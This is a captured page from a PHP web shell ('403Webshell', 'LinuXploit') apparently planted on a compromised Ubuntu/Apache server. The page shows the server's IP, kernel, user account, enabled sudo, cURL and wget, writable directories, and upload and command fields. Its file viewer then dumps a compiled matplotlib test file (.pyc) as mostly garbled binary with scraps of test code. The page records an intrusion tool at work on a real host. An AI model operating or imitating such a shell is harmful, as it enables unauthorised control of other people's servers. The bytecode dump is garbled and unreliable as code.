403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_backends_interactive.cpython-312.pyc
�

G8�c�Q��
�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
ZddlZddl
Zddl
mZddlmZd�ZdZd�Zej,j/de��ej,j/dd	d
g�ej,j1d��d
����Zd�Ze�ZeD�]�Zej:ddZdevr@ej>jAej,jCejD����Zedk(r@ej>jAej,jCejD�����edk(rqddl#m$Z$ejJ�dZ%e%s��e$e%�e$d�ks��ej>jAej,jCejLd�����ej:djOd�dk(rAej>jAej,jCejD�����wedk(s��~ejP�dk7s���ej>jAej,jCdd������ej,j/de�ej,j1d��d���Z)d�Z*d �Z+d!�Z,d"�Z-d#�Z.d$�Z/d%�Z0d&�Z1ej,jed'ejfvd(�)�ej,jeejhd*k(d+�)�d,���Z5d-�Z6ej,jeej
d.k7d/�)�ej,j/de��d0���Z7d1�Z8ej,j=d2d�3�d4��Z9d5�Z:e�Z;e;D]�Zej:ddZed6k(r5ej>jAej,jyd7���Oed8k(r5ej>jAej,jyd9����edk(s��ej>jAej,jyd:����ej,j/de;�ej,j1d;��d<���Z=d=�Z>ej,jeej
d>k(d?�)�ej,j/de��ej,j/d@dAdBg�dC����Z?y)D�N)�_c_internal_utils)�subprocess_run_helperc���g}gdD�cgc]
}|gd|d�f��c}�dD�cgc]}|dgd|d�f��
c}�dD��cgc]}dD]}dd	gd
d|�|��if���c}}�dgd
d
if�dgd
dif�dgd
dif�dgd
dif�D�]�\}}d}|D�cgc]$}tjj|�r�#|��&}}tjdk(rtj�sd}n�|r!djdj|��}n||d
dk(r"tjjd�rd}nR|d
jd�r>ddl
}	|d
d}|	jj�}
|�d�|
j!d�vrd}g}|r6|j#t$j&j)d|�d|�����nV|d
jd�rBtjd k(r/|j#t$j&j+d!���|j#t%j,i|�d"d#j|�i�|t/|��$�����|Scc}wcc}wcc}}wcc}w)%N)�PyQt6�PySide6�PyQt5�PySide2�qtagg)�
MPLBACKEND�QT_API�	cairocffi�qtcairo)��)�agg�cairor�gir�gtk�tkinter�tkagg�wx�wxaggzmatplotlib.backends._macosx�macosx�linuxz'$DISPLAY and $WAYLAND_DISPLAY are unsetz{} cannot be importedz, �TF_BUILDzmacosx backend fails on Azurerrz.0�Gtkzno usable GTK bindingsz	Skipping z	 because ��reason�darwinz
github #16849�BACKEND_DEPS�,)�marks�id)�	importlib�util�	find_spec�sys�platformr�display_is_valid�format�join�os�environ�get�
startswithr�
Repository�get_default�enumerate_versions�append�pytest�mark�skip�xfail�param�str)�envs�qt_api�version�renderer�deps�envr�dep�missingr�repor"s            �L/usr/lib/python3/dist-packages/matplotlib/tests/test_backends_interactive.py�"_get_testable_interactive_backendsrDs���
�D�
�E�F���x�%��8�:�F�
�E�F����$�'�6�:�<�F�	
�$�F��4D�F�(0������W�I�h�Z�/H� I�J�F�J�F�
��[�<��1�2�
��V�l�D�)�*�
��V�l�G�,�-�
�,�
,�|�X�.F�G�
�)
�	��c���"&�L�3�i�n�n�.F�.F�s�.K�3�L��L��L�L�G�#�%�6�6�8�>�F�
�,�3�3�D�I�I�g�4F�G�F�
��
�(�
*�r�z�z�~�~�j�/I�4�F�
��
�
)�
)�%�
0���,�'��*�G��=�=�,�,�.�D���"�~�T�%<�%<�U�%C�C�1������L�L����)�)�"�3�%�y���9�*�;�
<�
��
�
)�
)�$�
/�C�L�L�H�4L��L�L����*�*�/�*�B�C�����L�L�7�3�7�������7���C��
�	
�I)
�T�K��SF��F��F��Ms�I
�I�I�?$I�$I�<c��
����ddl}ddl}ddl}ddl}ddlm}ddl�ddlm�ddlm	}�jjddd���jj|j|jd���jdj�}|�j�
|�j }|j#d	�r�|j%d
�sv�j'�|dk7r)|t(�5�j*dd�
�ddd��
��fd�}|j,j/d�r||dddz�|d��j*|d�
��j1�\}	}
�
t3|	j4�j6dj9|��|
j;ddgddg�|	j4j<r)|	j4j<j?ddddd�|	j4jAd���jC|d|	j4d�jD�|	j4jGd�fd��|	j4jGdtH�|jK�}|	jM|d���jO��jQd�|jK�}|	jM|d��|j%d �s6|jRd!k(r&�
|jU�|jU��yyy#1swY��)xYw)"Nr)�TestCase��pyplot)�KeyEventF��zwebagg.open_in_browserzwebagg.port_retries�backendr)r�webrT��forcec����j|d���j�}�t|j�jdj|��y)NTrO�matplotlib.backends.backend_{})�use�figure�type�canvas�
__module__r*)�alt_backend�fig�assert_equal�mpl�plts  ���rC�check_alt_backendz1_test_interactive_impl.<locals>.check_alt_backendssG����C�G�G�K�t�,��*�*�,�C���S�Z�Z� �+�+�0�7�7��D�
F�r
���r�svgrR�rg�?g@�key_press_event�q�
draw_eventc�$���j�S)N)�start)�event�timers �rC�<lambda>z(_test_interactive_impl.<locals>.<lambda>�s
���u�{�{�}�r^�close_event�png)r*��?�qt5r)+�importlib.util�io�jsonr'�unittestrG�
matplotlibrI�matplotlib.backend_basesrJ�rcParams�update�loads�argv�lower�assertEqual�assertRaises�endswithr/rT�ImportErrorrSr%r&�subplotsrUrVrWr*�plot�toolbar�draw_rubberband�	new_timer�add_callback�_process�mpl_connect�print�BytesIO�savefig�show�pauser(�getvalue)r$rorpr'rGrJrM�
assert_raisesr]rY�ax�result�result_afterrZr[r\rhs             @@@@rC�_test_interactive_implr�Os�����
���!��(�1��L�L���"'� ���
�L�L���
��
�
�3�8�8�A�;�/�0��l�l�9�%�+�+�-�G��:�)�)�L��J�+�+�M������w�'9�'9�.�'I��
�
���g���{�+�
-������t�,�
-�	F��>�>�#�#�K�0��g�c�r�l�W�4�5��%� ��C�G�G�G�4� ��l�l�n�G�C����S�Z�Z��#�#�(�/�/��8�:��G�G�Q��F�Q��F��
�z�z����
�
���*�*�4��Q��A�>��J�J� � ��$�E�	���x� 1�3�:�:�s�C�L�L�M��J�J���<�)D�E��J�J���=�%�0�
�Z�Z�\�F��K�K��u�K�%��H�H�J��I�I�c�N��:�:�<�L��K�K��U�K�+����e�$�����)A�	�V�_�_�&��(=�(=�(?�@�*B�$�Y
-�
-�s�L?�?M	r?r�toolbar2�toolmanagerr)�rerunsc��|ddk(r|dk(rtjd�|ddk(rtjd�ttt	j
d|i�t|��}|jjd	�d
k(sJ�y)Nrrr�z*toolmanager is not implemented for macosx.r�2wx backend is deprecated; tests failed on appveyorr��timeout�	extra_env�
CloseEventrK)	r4r6�_run_helperr�rp�dumps�
_test_timeout�stdout�count)r?r�procs   rC�test_interactive_backendr��s����<��H�$��m�#��K�K�D�E�
�<��D� ����H�I��-��z�z�9�g�"6�7�,�!$�&�D�
�;�;���\�*�a�/�/�/r^c�v�ddlm}ddl}ddlm}|jjddd��|j
�\}}|jd�|�j|jgd��}|j�|jjd	t�|�j|jj�}|jd�|j�|j�|jd
j!d�r|jj#�yy)Nr)�ThreadPoolExecutorrHFrKrLrl)rKr�rjrM�WX)�concurrent.futuresr�rrrIrtrur}r��submitr~r�rVr�r��draw�closer/�flush_events)r�r[r\rYr��futures      rC�_test_thread_implr��s���5��(��L�L���"'� ����l�l�n�G�C���I�I�c�N�
�
!�
(�
(����)�
<�F�
�M�M�O��J�J���=�%�0�
�
!�
(�
(������
9�F��I�I�c�N�
�M�M�O��I�I�K�
�|�|�I��)�)�$�/��
�
���!�0r^rr)�raisesrr)�parsez10.16T)r��strictrr	r�CPythonzZPyPy does not support Tkinter threading: https://foss.heptapod.net/pypy/pypy/-/issues/1929)rr�c�p�ttt|��}|jj	d�dk(sJ�y)Nr�r�rK)r�r�r�r�r��r?r�s  rC�test_interactive_thread_safetyr��s0���(�-�3�O�D��;�;���\�*�a�/�/�/r^c�:�ddl}ddlm}tj	|j
d�}t
|t�rJ�|j�J�|jd�|j�J�tj	|j
d�}t
|t�sJ�y)NrrM�)
rr�matplotlib.pyplotrI�dict�__getitem__rt�
isinstancer9�_backend_modr~)rrr\�bks   rC�&_impl_test_lazy_auto_backend_selectionr��s����#�	
�	�	�*�-�-�y�	9�B��"�c�"�"�"����#�#�#��H�H�Q�K����'�'�'�	
�	�	�*�-�-�y�	9�B��b�#���r^c�.�ttt��y�N�r�)r�r�r��r^rC� test_lazy_auto_backend_selectionr�s���6�%�'r^c�8�ddl}ddl}d|jvsJ�d|jvsJ�d|jvsd|jvsJ�ddl}t	j
td��5|jjjddd�y#1swYyxYw�Nrr�pyside6r�pyside2�QtWidgets.QApplication.instance��match)
�"matplotlib.backends.backend_qt5aggr'�modules�matplotlib.backends.backend_qt5r4�warns�DeprecationWarning�backends�backend_qt5�qApp�rrr's  rC�_implqt5aggr�s���-���#�+�+�%�%�%��C�K�K�'�'�'��c�k�k�!�Y�#�+�+�%=�=�=�*�	���(�=�
?�-����'�'�,�,�-�-�-���&!B�Bc�8�ddl}ddl}d|jvsJ�d|jvsJ�d|jvsd|jvsJ�ddl}t	j
td��5|jjjddd�y#1swYyxYwr�)
�$matplotlib.backends.backend_qt5cairor'r�r�r4r�r�r�r�r�r�s  rC�
_implcairor�s���/���#�+�+�%�%�%��C�K�K�'�'�'��c�k�k�!�Y�#�+�+�%=�=�=�*�	���(�=�
?�-����'�'�,�,�-�-�-�r�c�0�ddl}ddl}d|jvsJ�d|jvsJ�d|jvsd|jvsJ�tjt
d��5|jjjddd�y#1swYyxYwr�)	r�r'r�r4r�r�r�r�r�r�s  rC�	_implcorer�'s���*���#�+�+�%�%�%��C�K�K�'�'�'��c�k�k�!�Y�#�+�+�%=�=�=�	���(�=�
?�-����'�'�,�,�-�-�-�s�"!B�Bc���dD�cgc]#}tjj|��|��%}}dD�cgc]#}tjj|��|��%}}t|�dk(st|�dk(rt	j
d�t
tt��tjjd��t
tt��t
tt��ycc}wcc}w)N)rr�)rr�r�need both QT6 and QT5 bindingsr��pycairo)r$r%r&�lenr4r6r�r�r�r�r�)r@�qt5_bindings�qt6_bindingss   rC�test_qt5backends_uses_qt5r�4s���+����>�>�#�#�C�(�4�	��L��
,����>�>�#�#�C�(�4�	��L���<��A���\�!2�a�!7����4�5���]�3��~�~���	�*�6��J�
�6��	�=�1����s
�(C-�(C2c��ddl}ddl}ddl}|j\}}}|j|�d��|j|�d��}ddl}|j|�d��}|j
dg�}	|jtd��5|jjj�ddd�y#1swYyxYw)Nrz.QtCorez
.QtWidgetszmpl testingzMixing Qt majorr�)r'r$r4rw�
import_module�matplotlib.backends.backend_qt�QApplicationr��UserWarningr��
backend_qt�_create_qApp)
r'r$r4�_�host_binding�mpl_binding�mpl_binding_qwidgetsrr�
host_qwidgets�host_apps
          rC�_impl_test_cross_Qt_importsr�Es������#&�8�8� �A�|�[��I���{�m�7�3�4�2�9�2�2�k�]�*�3M�N��)�+�I�+�+�|�n�J�,G�H�M��)�)�=�/�:�H�	����k�):�	;�6����&�&�3�3�5�6�6�6�s�
%B8�8Cc�\�dD�cgc]#}tjj|��|��%}}dD�cgc]#}tjj|��|��%}}t|�dk(st|�dk(rt	j
d�|D].}|D]'}||g||gfD]}	t
tg|��dti���)�0ycc}wcc}w#tj$rL}|jtjk(rYd}~�b|jtjk(rYd}~���d}~wwxYw)N)rr	)rrrr�r�)r$r%r&r�r4r6r�r�r��
subprocess�CalledProcessError�
returncode�signal�SIGSEGV�SIGABRT)r@r�r�rm�qt6�pair�exs       rC�test_cross_Qt_importsr�Vs=��+����>�>�#�#�C�(�4�	��L��
,����>�>�#�#�C�(�4�	��L���<��A���\�!2�a�!7����4�5�����	�C��s��c�3�Z�0�
��
�� ;�7�!%�7�(5�7�
�	�������"�4�4�	��}�}�����7� ����6�>�>�/�9� ���	�s.�(C�(C�$C�D+	�D&	�D&	�%D&	�&D+	rz,this test fails an azure for unknown reasonsr�ntzCannot send SIGINT on Windows.c�"�tjd�tjtj
dt
jt�dzdgitj�ddd����}d	jtjd
tjd�}tj�t z}		|j#�}|�J�t$j&j)|�}	|j1�|j3t4j6�|j9t �
�dk(sJ�y#t$j*j,$r2tj�|kDrtj.d�nY��YnwxYw��)N�tornadoz-cz
_test_interactive_impl()z{}�webagg�0)r�SOURCE_DATE_EPOCH)r?zhttp://{}:{}zwebagg.addresszwebagg.portz'Failed to connect to the webagg server.r�r)r4�importorskipr��Popenr'�
executable�inspect�	getsourcer�r,r-r*r[rt�time�perf_counterr��poll�urllib�request�urlopen�error�URLError�failr��send_signalr��SIGINT�wait)r��urlr��retcode�conns     rC�test_webaggrusP�����	�"����	����	�	�	�1�	2�'�
(�)-�	/�
M�r�z�z�L���L�	N�D�
�
�
����%�&����]�(C�E�C����!�M�1�G�
�
	��i�i�k�G��?�"�?��>�>�)�)�#�.�D��	�J�J�L����V�]�]�#��9�9�]�9�+�q�0�0�0���|�|�$�$�	�� � �"�W�,����E�F��G�	��s�?3D>�>A
F
�F
c��ddl}ddl}|jdd\}}|jd�}|jjdd�|jjdd�|D]}||jvr�J�ddlm}|j�dk(sJ�|D]}||jvr�J�|D]'}tj|�||jvr�'J�	|j|�|jd�y#t$rYywxYw)NrrKr!�DISPLAY�WAYLAND_DISPLAYr)r,r'rw�splitr-�popr�r�rI�get_backendr$r��switch_backend�exitr|)r,r'rMr>r@r\s      rC�_lazy_headlessr�s��
���H�H�Q�R�L�M�G�T��:�:�c�?�D��J�J�N�N�9�d�#��J�J�N�N�$�d�+��&���#�+�+�%�%�%�&�$��?�?���%�%�%��&���#�+�+�%�%�%�&��"������$��c�k�k�!�!�!�"�
����7�#�	�����������s�C>�>	D
�	D
rzthis a linux-only testc
�~�tt|jd�|jd�ti|�ddd����}y)Nrr �)rrr�)r�rrr�r�s  rC�test_lazy_linux_headlessr�s:���������s�w�w�~�6��?�S�?�R�B�?�	�Dr^c��ddl}ddl}|jtd��5|jj
jddd�y#1swYyxYw)Nrr�r�)r�r4r�r�r�r�r�)rrr4s  rC�_qApp_warn_implr�sG��)��	�����&G�
I�,����&�&�+�+�,�,�,�s�!A�A�QtAgg)�skip_on_importerrorc�.�ttt��yr�)r�rr�r�r^rC�test_qApp_warnr#�s�����7r^c���ddlm}|j�\}}|jddgddgd��\}|j	d��|jd�|jjd	t�|jj|j�}|j|�|jj|j�td
�D]�}|jj|�|jddgddg�\}|j|�|jj|j�|jj���|jd�y)NrrKraT)�animatedF)�blockg333333�?rd�
皙�����?)r�rIr}r~r�r�rVr�r��copy_from_bbox�bbox�draw_artist�blit�range�restore_regionr�)r\rYr��ln�bg�js      rC�_test_number_of_draws_scriptr2�s��#��l�l�n�G�C��
�'�'�1�a�&�1�a�&�4�'�
0�C�B��H�H�5�H���I�I�c�N��J�J���<��/�

���	"�	"�3�8�8�	,�B��N�N�2���J�J�O�O�C�H�H��
�2�Y�"���
�
�!�!�"�%��g�g�q�!�f�q�!�f�%���
���r���
�
������!��
�
���!�"��I�I�c�Nr^�	gtk3cairoz#gtk3cairo does not support blitting�	gtk4cairoz#gtk4cairo does not support blittingzwx does not support blittingrc��ttt|��}|jj	d�}d|cxkrdksJ�J�y)Nr��	DrawEventrr�)r�r2r�r�r�)r?r��ndrawss   rC�test_blitting_eventsr8sA���$�m�s�L�D��[�[�
�
�{�
+�F��v�>��>��>��>r^c�L�ddl}ddl}ddl}ddlm}t|jd�}|j�}td�D]6}|j�}|r|j|�|j|��8|j�j}|j�td�D]F}|j�}|r|j|�|j|�|j��H|j�j|z
}	t|	�y)NrrHrKrar�)�gcr'�psutilrrrI�floatrw�Processr-rTr�r��memory_info�rss�collectr�)
r:r'r;r\�t�pr�rY�mem�growths
          rC�_test_figure_leakrEs���
���(�
�c�h�h�q�k��A�����A��1�X����j�j�l����I�I�a�L��	�	�#��	�
�-�-�/�
�
�C��J�J�L�
�1�X����j�j�l����I�I�a�L��	�	�#��
�
�
����]�]�_�
 �
 �3�
&�F�	�&�Mr^�win32z0appveyor tests fail; gh-22988 suggests reworking�time_mem)gi��)r(i���c�>�tjdd��|\}}|ddk(rtjd�|ddk(s|ddk(rtjd	k(r|d
z
}ttt|�t|��}t|j�}||ksJ�y)Nr;zpsutil needed to run this testrrrr�rrri�اr�)r4r�r6r'r(r�rEr9r��intr�)r?rG�
pause_time�acceptable_memory_leakager�rDs      rC�test_figure_leak_20490rL5s���
����)I�J�-5�)�J�)�
�<��D� ����H�I�
�<��H�$�����(�S�\�\�X�-E�!�Z�/�!�
��3�z�?���.�F�����
�F��.�.�.�.r^)@r$rnrrpr,r(r�r�r'r�urllib.requestrr4rrr[r�matplotlib.testingrr�rDr�r�r5�parametrize�flakyr�r��_thread_safe_backendsr8�valuesrMr"r3r7r��packaging.versionr��mac_ver�TimeoutExpiredr.�python_implementationr�r�r�r�r�r�r�r�r��skipifr-�namerrrrr#r2�_blit_backendsr6r8rErLr�r^rC�<module>rZs������	��
��
���
��(�C�,�^�
�PA�f������ B� D�E�������Z��$?�@������!���0��A�F�0�"�<;�<��
"��E��l�l�1�o�l�+�G��'��	������K�K���Z�%B�%B��C�	E�	�D��
������K�K���Z�%B�%B��C�	E�	�H�	�+�"�(�"�"�$�Q�'���u�W�~��g��6��K�K������!�!��)B�)B�)-�"�/�
0�
���a��	�	�X�	&�)�	3�
������K�K���Z�%B�%B��C�	E�	�G�	� >�� >� >� @�I� M�
������K�K���K��
�
�	�/�<������ 5�6������!���0��7�0�
�'�
-�-�
-�2�"6�"�>�����J�"�*�*�,�I��K������B�G�G�t�O�,L��M�1�N�K�1�6�B�����C�L�L�G�+�4L��M������� B� D�E��F�N��,������W�$��7�8�8�8�&�R4�5��
�>�E��l�l�1�o�l�+�G��+��
������K�K���B�C�	E�	�K�	�
������K�K���B�C�	E�	�D��
������K�K���;�<�	>�>��������/������!�����0���>�����C�L�L�G�+�M��O������� B� D�E�������&6�8I�%J�K�/�L�F�O�/r^

Youez - 2016 - github.com/yon3zu
LinuXploit